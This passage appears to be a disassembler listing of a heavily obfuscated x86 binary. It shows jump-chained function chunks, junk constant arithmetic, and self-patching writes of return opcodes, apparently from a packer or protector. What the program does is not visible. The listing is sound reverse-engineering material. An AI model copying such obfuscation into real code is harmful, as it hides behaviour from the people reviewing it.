loc_44E542:				; CODE XREF: sub_44A4E3-10990j
		jmp	loc_43FDCD
; END OF FUNCTION CHUNK	FOR sub_44A4E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44E547:				; CODE XREF: sub_43FA59+4CD7j
		adc	edx, ebp
		add	ebp, edx

loc_44E54B:				; CODE XREF: sub_43B24C:loc_4439B6j
					; sub_43B24C+10CEDj ...
		push	offset sub_4525D0
		jmp	nullsub_100
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4413F5

loc_44E555:				; CODE XREF: sub_4413F5+166C2j
		shr	eax, 0Bh
		not	ebp
		sub	edx, ebp
		jmp	loc_442035
; END OF FUNCTION CHUNK	FOR sub_4413F5
; ---------------------------------------------------------------------------

loc_44E561:				; DATA XREF: sub_43FAE1+FBBo
		mov	edx, 0DD960900h
		push	esi
		push	0E8BEC4F2h
		pop	esi
		jmp	loc_4401B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_44E572:				; CODE XREF: sub_44EAC4:loc_455193j
		pop	ecx
		or	ecx, 18FE245Eh
		add	ecx, 1558693Ch
		rol	ecx, 12h

loc_44E582:				; CODE XREF: dviuq5id:0045548Fj
		jmp	loc_454C9D
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_44E587:				; CODE XREF: sub_441DDA:loc_446273j
		and	ecx, 0BDD010DEh
		jnz	loc_4547A4

loc_44E593:				; CODE XREF: sub_440861+Fj
		jmp	loc_449F74
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		sbb	ecx, esi
		jmp	loc_45479F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_44E59F:				; CODE XREF: sub_441F76+AF9j
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-8]
		jmp	loc_4546F5
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458712

loc_44E5AB:				; CODE XREF: sub_458712+9j
		jz	loc_453A1E
		jmp	loc_43B62D
; END OF FUNCTION CHUNK	FOR sub_458712
; ---------------------------------------------------------------------------

locret_44E5B6:				; CODE XREF: dviuq5id:loc_45A027j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_44E5B7:				; CODE XREF: sub_446682+AB99j
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------

loc_44E5BC:				; CODE XREF: dviuq5id:loc_458D3Aj
		push	26049D2Ch
		pop	ebx
		add	ebx, 6F108333h
		or	ebx, 1EC83F6Fh
		jnz	loc_44ED6A
		shr	eax, 1Ah
		rol	ebp, 0Ch
		sbb	eax, ebp
		jmp	loc_445515
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44E5E1:				; CODE XREF: sub_43C4B5-14DDj
		jg	loc_43B219
		rol	ebx, 8
		jmp	loc_459BEA
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_460. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D52

loc_44E5F0:				; CODE XREF: sub_451D52:loc_454FD4j
		xchg	edi, [esp+4+var_4]
		mov	ebp, esp
		push	offset sub_4534EE
		jmp	nullsub_211
; END OF FUNCTION CHUNK	FOR sub_451D52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C162

loc_44E5FF:				; CODE XREF: sub_43C162:loc_44F996j
		pop	esi
		sub	esi, 13173DADh
		rol	esi, 0Eh
		add	esi, 68C037E9h
		push	offset sub_44FCBC
		jmp	loc_440C99
; END OF FUNCTION CHUNK	FOR sub_43C162

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44E619	proc near		; CODE XREF: sub_446A9C:loc_44A7AFj
		retn
sub_44E619	endp

; ---------------------------------------------------------------------------

loc_44E61A:				; CODE XREF: dviuq5id:00440077j
		jmp	loc_4518B1
; ---------------------------------------------------------------------------
		mov	ds:off_41D0A8, eax
; START	OF FUNCTION CHUNK FOR sub_44245C

loc_44E625:				; CODE XREF: sub_44245C:loc_4437D9j
		lea	eax, sub_44C07B
		mov	byte ptr [eax],	0C3h
		jmp	loc_44FB00
; END OF FUNCTION CHUNK	FOR sub_44245C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_44E633:				; CODE XREF: sub_44C07B-CA72j
		mov	eax, [esp+0]
		push	edx
		call	sub_444F0F
		jmp	loc_44BA87
; END OF FUNCTION CHUNK	FOR sub_44C07B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44E641:				; CODE XREF: sub_43FA59:loc_43FE60j
		jnz	loc_45701D
		jmp	loc_452005
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_44E64C:				; CODE XREF: sub_43AE68+14j
		jz	loc_446CD6
		jmp	loc_457D14
; END OF FUNCTION CHUNK	FOR sub_43AE68

; =============== S U B	R O U T	I N E =======================================



sub_44E657	proc near		; CODE XREF: sub_44AD42:loc_43CB42p
					; sub_44074B+17j

; FUNCTION CHUNK AT 004448B1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044B6D1 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jnz	loc_449056
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h

loc_44E667:				; CODE XREF: dviuq5id:loc_43BB57j
		jmp	loc_44B6D1
sub_44E657	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44E66C:				; CODE XREF: dviuq5id:00458CCBj
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_44E66D	proc near		; CODE XREF: dviuq5id:00444922p

; FUNCTION CHUNK AT 0043E2E9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004453EC SIZE 00000019 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, eax
		push	esi
		jmp	loc_4453EC
sub_44E66D	endp

; ---------------------------------------------------------------------------

loc_44E679:				; CODE XREF: dviuq5id:00440740j
		jz	loc_44A884

; =============== S U B	R O U T	I N E =======================================



sub_44E67F	proc near		; CODE XREF: sub_43C710+Ap

; FUNCTION CHUNK AT 0043C827 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043FE5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440F9E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004416D1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004445A2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004458E6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445E54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446626 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044787D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004486CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448A1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A6EA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00452FBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459001 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00459914 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx

loc_44E683:				; CODE XREF: dviuq5id:loc_43D47Fj
		push	edx
		push	ebx
		jmp	loc_44A6EA
sub_44E67F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44E68A:				; CODE XREF: sub_43FA59:loc_454BC4j
		jz	loc_43964E
		jmp	loc_4392D2
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44E695:				; CODE XREF: sub_43EB11+CC31j
					; dviuq5id:0044B752j ...
		rol	edi, 14h
		add	edi, 3EAB2954h
		popf
		xchg	edi, [esp+0]
		jmp	loc_44C33D
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		add	edi, 6E9AB6Eh
		xchg	edx, [esi]
		jmp	sub_457942
; ---------------------------------------------------------------------------

loc_44E6B4:				; CODE XREF: dviuq5id:00444156j
		jnz	loc_45A4C0
		jmp	loc_4431BA
; ---------------------------------------------------------------------------
		ror	ebx, 0Dh
		sub	ecx, 7497CC9h
		jmp	sub_458BA4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_502. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE30

loc_44E6CE:				; CODE XREF: sub_43BE30+14j
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_43BE30
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_409. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EEAC

loc_44E6D4:				; CODE XREF: sub_43EEAC:loc_4476C8j
		xchg	ebp, [esp+4+var_4]
		push	901C4D46h
		pop	ecx
		and	ecx, 0AE4C7E2h

loc_44E6E3:				; CODE XREF: dviuq5id:loc_43AB96j
		rol	ecx, 0Bh
		jmp	loc_452CF7
; END OF FUNCTION CHUNK	FOR sub_43EEAC
; ---------------------------------------------------------------------------
		mov	ebx, esi
		jmp	sub_44AE26
; ---------------------------------------------------------------------------

loc_44E6F2:				; DATA XREF: sub_441772+6o
		push	544BEADEh
		pop	esi
		and	esi, 0B4D09645h
		add	esi, 0EC014FB8h
		mov	[esi], eax
		xchg	eax, [esp]
		jmp	loc_442D93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44E70F:				; CODE XREF: dviuq5id:00453080j
		jmp	loc_4514D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_44E714:				; CODE XREF: sub_43D393+52B2j
		jmp	loc_451AC6
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_44E719:				; CODE XREF: sub_443C86+62E1j
		xor	eax, 171B63C0h
		rol	eax, 8
		mov	ds:dword_44FAFC, eax
; END OF FUNCTION CHUNK	FOR sub_443C86
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_44E728:				; CODE XREF: sub_443AC1+B05j
					; sub_458AF1+Cj
		call	sub_44846C

loc_44E72D:				; CODE XREF: dviuq5id:004514E9j
		jmp	loc_44C5FB
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------

loc_44E732:				; CODE XREF: dviuq5id:0044B38Cj
		jmp	loc_4561F1
; ---------------------------------------------------------------------------

loc_44E737:				; DATA XREF: sub_44124F:loc_4581BAo
		xchg	edi, [esp]
		jmp	loc_449678
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D814

loc_44E73F:				; CODE XREF: sub_44D814-249Ej
		add	edx, 69626A07h
		popf
		xchg	edx, [esp-4+arg_0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_44D814

; =============== S U B	R O U T	I N E =======================================



sub_44E74E	proc near		; CODE XREF: sub_41A025+19p
					; sub_44E74E+5j
					; DATA XREF: ...
		call	sub_44E763
		jmp	ds:off_41D034
sub_44E74E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_44E759:				; CODE XREF: sub_44B99E+ACADj
		jmp	loc_4409ED
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_44E75E:				; CODE XREF: dviuq5id:00454B10j
		jmp	loc_44B1A0

; =============== S U B	R O U T	I N E =======================================



sub_44E763	proc near		; CODE XREF: sub_44FB5C:loc_4432B8j
					; sub_44E74Ep ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439CEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044237D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447DBF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00450E46 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045215C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004528EF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00452B77 SIZE 0000000B BYTES

		jnz	loc_4528EF
		push	offset loc_439BA5
		jmp	nullsub_103
sub_44E763	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_44E773:				; CODE XREF: sub_446B53-12F1j
		sbb	ebx, 0FFD26A59h

loc_44E779:				; CODE XREF: sub_446B53:loc_44585Aj
		add	eax, 99385B19h
		xchg	eax, [esp+0]
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------

loc_44E787:				; CODE XREF: dviuq5id:00439719j
		push	eax
		pop	ebx
		xchg	ebx, [esp]
		ror	eax, 0Fh
		mov	ds:dword_44DEF0, eax
		jmp	loc_449B46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_44E79A:				; CODE XREF: sub_451EEC:loc_44F642j
		shr	ecx, 1Ah

loc_44E79D:				; CODE XREF: sub_451EEC:loc_4476CDj
		rol	edi, 19h
		sub	edi, 674A85Bh
		add	edi, 59A794F3h
		popf
		sub	eax, edi
		jmp	loc_450EE7
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------

loc_44E7B4:				; CODE XREF: dviuq5id:0044B3EFj
		jns	loc_44AA6A
		and	edi, ebp
		xor	ebp, 0B16F1FE9h
		push	9B37F526h
		jmp	loc_43AC65
; ---------------------------------------------------------------------------

locret_44E7CC:				; CODE XREF: dviuq5id:0043FD71j
		retn
; ---------------------------------------------------------------------------

loc_44E7CD:				; DATA XREF: dviuq5id:0043E926o
		call	sub_445A59
		push	484ECCBDh
		pop	eax
		sub	eax, 35FA661Ah
		add	eax, 0B4305969h
		jmp	loc_453197
; ---------------------------------------------------------------------------

loc_44E7E9:				; DATA XREF: sub_445EA1+6o
		push	0D99E5D25h
		pop	edx
		or	edx, 0DCCD58DBh
		sub	edx, 5B6861D1h
		rol	edx, 1Fh
		or	edx, 0A260FF93h
		add	edx, 1CC947EFh
		popf
		jmp	loc_456E38

; =============== S U B	R O U T	I N E =======================================



sub_44E810	proc near		; CODE XREF: dviuq5id:004479B8j
					; sub_4584FF+8p

; FUNCTION CHUNK AT 00442F12 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00445FFA SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx

loc_44E814:				; CODE XREF: sub_439E0C:loc_44466Aj
		push	0B2D4E5BDh
		xchg	eax, [esp+0]
		mov	edi, eax
		pop	eax
		sub	edi, 47359739h

loc_44E825:				; CODE XREF: dviuq5id:00444056j
		jmp	loc_445FFA
sub_44E810	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44E82A:				; CODE XREF: dviuq5id:00458E71j
		sbb	ecx, ebp
; START	OF FUNCTION CHUNK FOR sub_43A386

loc_44E82C:				; CODE XREF: sub_43A386:loc_458E5Aj
		add	edx, 0DEC0E4EAh
		xchg	edx, [esp+14h+var_14]
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_43A386
; ---------------------------------------------------------------------------
		push	0B1ED51ECh
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		jmp	loc_44EC07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_44E84A:				; CODE XREF: sub_450519+670Ej
		pop	edi
		mov	eax, [esp-4+arg_0]
		push	edx
		push	edx
		jmp	loc_43BF61
; END OF FUNCTION CHUNK	FOR sub_450519
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44E856:				; CODE XREF: dviuq5id:00444886j
		jmp	loc_44DF47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_44E85B:				; CODE XREF: sub_450905-FC82j
					; sub_44AD42-3246j
		jmp	loc_4479BD
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44E860:				; CODE XREF: sub_43FA59+165E7j
		rol	eax, 1Eh
		jmp	loc_45952A
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_44E868:				; CODE XREF: dviuq5id:loc_43F254j
		push	74296CDEh
		pop	eax
		xor	eax, 0EC90E54Ah
		jmp	loc_44D35C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_524. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44E87A:				; CODE XREF: dviuq5id:0044070Aj
		jmp	locret_43B063
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_44E87F:				; CODE XREF: sub_43A160+6092j
		jmp	loc_451AF8
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_44E884:				; CODE XREF: sub_448FC7:loc_4512B7j
		pop	edx
		xor	edx, 0A51EA980h
		add	edx, 0AA4B4931h
		add	edx, ebp
		add	edx, 0AAB9DDB7h
		jmp	loc_453001
; END OF FUNCTION CHUNK	FOR sub_448FC7

; =============== S U B	R O U T	I N E =======================================



sub_44E89E	proc near		; DATA XREF: dviuq5id:0043DBB1o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044B18A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00459DBD SIZE 00000011 BYTES

		push	0E3D70288h
		pop	eax
		xor	eax, 2388B450h
		and	eax, 0DDB369F7h
		jmp	loc_44B18A
sub_44E89E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_44E8B5:				; CODE XREF: sub_43BA0E:loc_4397DBj
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A9D7
; ---------------------------------------------------------------------------

loc_44E8BD:				; CODE XREF: sub_43BA0E:loc_43E303j
		xchg	ebx, [esp+4+var_4]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp+0]
		push	edx
		jmp	loc_440669
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_44E8CC:				; CODE XREF: sub_448FC7+AF2Ej
		js	loc_449DEE
		mov	ecx, [edx]
		adc	eax, esi

loc_44E8D6:				; CODE XREF: sub_448FC7:loc_447E31j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44EA96
		jmp	loc_454A93
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_44E8E7:				; CODE XREF: sub_446181-5C71j
		jz	loc_4510C1
		jmp	loc_44239F
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_44E8F2:				; CODE XREF: sub_44646F-488Cj
		jns	loc_447CEB
		push	edi
		jb	loc_44AFFC
		sbb	ebp, eax
		and	ebp, 4A91ECCBh

loc_44E907:				; CODE XREF: sub_44646F:loc_45749Dj
		call	sub_44117F
; END OF FUNCTION CHUNK	FOR sub_44646F
; START	OF FUNCTION CHUNK FOR sub_455658

loc_44E90C:				; CODE XREF: sub_455658-1917Ej
		jmp	loc_447FBE
; END OF FUNCTION CHUNK	FOR sub_455658
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_44E911:				; CODE XREF: sub_45383B:loc_439597j
		mov	ebx, esi
		pop	esi
		and	ebx, 20AC5C16h
		xor	ebx, 885C54h
		add	eax, ebx
		xchg	edi, [esp+0]
		mov	ebx, edi
		jmp	loc_454CE8
; END OF FUNCTION CHUNK	FOR sub_45383B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_279. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D514

loc_44E92D:				; CODE XREF: sub_43D514+1C0E5j
		jmp	sub_442503
; END OF FUNCTION CHUNK	FOR sub_43D514
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E67C

loc_44E932:				; CODE XREF: sub_43E67C+4682j
		jmp	loc_441D01
; END OF FUNCTION CHUNK	FOR sub_43E67C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_44E937:				; CODE XREF: sub_448FC7+101Fj
		cdq
		jmp	loc_4588E5
; ---------------------------------------------------------------------------

loc_44E93D:				; CODE XREF: sub_448FC7-E5D1j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_44EF49
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C402

loc_44E94B:				; CODE XREF: sub_43C402+Cj
		call	sub_45A04B
		call	sub_44F0CA

loc_44E955:				; CODE XREF: dviuq5id:00459059j
		jmp	sub_4512BC
; END OF FUNCTION CHUNK	FOR sub_43C402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E08B

loc_44E95A:				; CODE XREF: sub_43E08B+179A5j
		jmp	nullsub_221
; END OF FUNCTION CHUNK	FOR sub_43E08B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44E95F:				; CODE XREF: sub_43C4B5+1B119j
		sbb	ebx, edi
		jmp	loc_43B95E
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		push	edx
		push	78764437h
		pop	edx
		and	edx, 0EBEC1B75h
		xor	edx, 0FB99D98Dh
		add	edx, 6C470554h
		mov	[edx], eax
		jmp	loc_453324
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440729

loc_44E986:				; CODE XREF: sub_440729:loc_4421F7j
		sub	al, 99h
		mov	edx, [ebp-4]
		call	sub_448FC7

locret_44E990:				; CODE XREF: sub_44BDEB+3F8Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_440729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4540C6

loc_44E991:				; CODE XREF: sub_4540C6+3j
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_4540C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44508C

loc_44E996:				; CODE XREF: sub_44508C+C7D6j
		jmp	loc_45065D
; END OF FUNCTION CHUNK	FOR sub_44508C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440828

loc_44E99B:				; CODE XREF: sub_440828+C8C5j
		jmp	loc_44868B
; END OF FUNCTION CHUNK	FOR sub_440828
; ---------------------------------------------------------------------------

loc_44E9A0:				; CODE XREF: dviuq5id:00440137j
		jmp	loc_454233
; ---------------------------------------------------------------------------

loc_44E9A5:				; CODE XREF: dviuq5id:0044E9F7j
		mov	[ebx], eax
		push	offset sub_458906
		jmp	locret_44D98F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_44E9B1:				; CODE XREF: sub_44460F:loc_439D1Ej
		jz	loc_45A2F4
		jmp	loc_441A91
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

loc_44E9BC:				; CODE XREF: dviuq5id:00455061j
		mov	eax, [esp]
		push	edx
		push	eax
		push	454674DAh
		pop	eax
		rol	eax, 15h
		or	eax, 1746A083h
		jmp	loc_44229B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_44E9D5:				; CODE XREF: sub_45345A:loc_4534C7j
		mov	esi, eax
		push	49725270h
		jmp	loc_45973F
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------

loc_44E9E1:				; CODE XREF: dviuq5id:0044C5E9j
		jnz	loc_453B9F
		popf

loc_44E9E8:				; CODE XREF: dviuq5id:0043B19Aj
		rol	ebx, 18h
		and	ebx, 0E4269267h
		add	ebx, 5C1F5098h
		jmp	loc_44E9A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456DB4

loc_44E9FC:				; CODE XREF: sub_456DB4-75C3j
		and	edx, 2C99C3C6h
		add	edx, 0E043E68Ch
		xchg	edx, [esp+0]
		jmp	sub_455658
; END OF FUNCTION CHUNK	FOR sub_456DB4
; ---------------------------------------------------------------------------
		mov	[ebp-8], eax
		jmp	loc_44AE35
; ---------------------------------------------------------------------------

loc_44EA18:				; DATA XREF: sub_43C4B5+6C46o
		add	eax, 1D5BD1B8h
		push	offset sub_44A90D
		jmp	loc_452AA0

; =============== S U B	R O U T	I N E =======================================



sub_44EA28	proc near		; CODE XREF: sub_4486F9:loc_452FCEj
		push	ebx
		mov	ebx, edi
		call	sub_442BFE
sub_44EA28	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_453C98

loc_44EA30:				; CODE XREF: sub_453C98-3EF1j
		add	eax, 0FF581309h
		or	eax, 39714FDEh
		rol	eax, 0Dh
		and	eax, 241FC60Eh
		add	eax, 0DC29190Eh
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_450CC8
; END OF FUNCTION CHUNK	FOR sub_453C98

; =============== S U B	R O U T	I N E =======================================



sub_44EA54	proc near		; DATA XREF: sub_4489E1+10BCAo
		mov	eax, [ebp-20h]
		call	sub_43A245
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_43C23F
sub_44EA54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_44EA65:				; CODE XREF: sub_43D53C:loc_4534D1j
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		call	sub_449187
		mov	eax, 0C7CC2482h
		call	sub_455C2B

loc_44EA7E:				; CODE XREF: sub_439C09+CB88j
		jz	loc_44F8A3
		cdq
		xor	edi, 0D0A3F92Ah
		jnp	loc_44A332
; END OF FUNCTION CHUNK	FOR sub_43D53C
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_44EA91:				; CODE XREF: sub_448FC7-FC6Cj
					; sub_448FC7:loc_440844j ...
		jmp	loc_4395A7
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44EA96:				; CODE XREF: sub_439C09+BBF8j
					; sub_448FC7+5915j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_44EA99:				; CODE XREF: dviuq5id:00458F53j
		jmp	loc_43D203
; ---------------------------------------------------------------------------

loc_44EA9E:				; CODE XREF: dviuq5id:0045020Cj
		jmp	locret_44BE79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_44EAA3:				; CODE XREF: sub_457566-BCAEj
		add	eax, 3BFD661Ch
		ror	eax, 17h
		push	edx
		push	0C09007D5h
		pop	edx
		or	edx, 54D5CDDFh
		add	edx, 0E56EB82Ah
		jmp	loc_445AD3
; END OF FUNCTION CHUNK	FOR sub_457566

; =============== S U B	R O U T	I N E =======================================



sub_44EAC4	proc near		; CODE XREF: sub_455658-D699p
					; dviuq5id:00456B87j

var_20		= dword	ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004399AF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043A25E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A9EF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E3DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E72B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043F070 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F59F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FA3D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00440218 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441352 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004416F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004421A5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00442B94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442D81 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004445D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00445242 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00445300 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004456AD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445DA7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004463A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004466B1 SIZE 00000005 BYTES
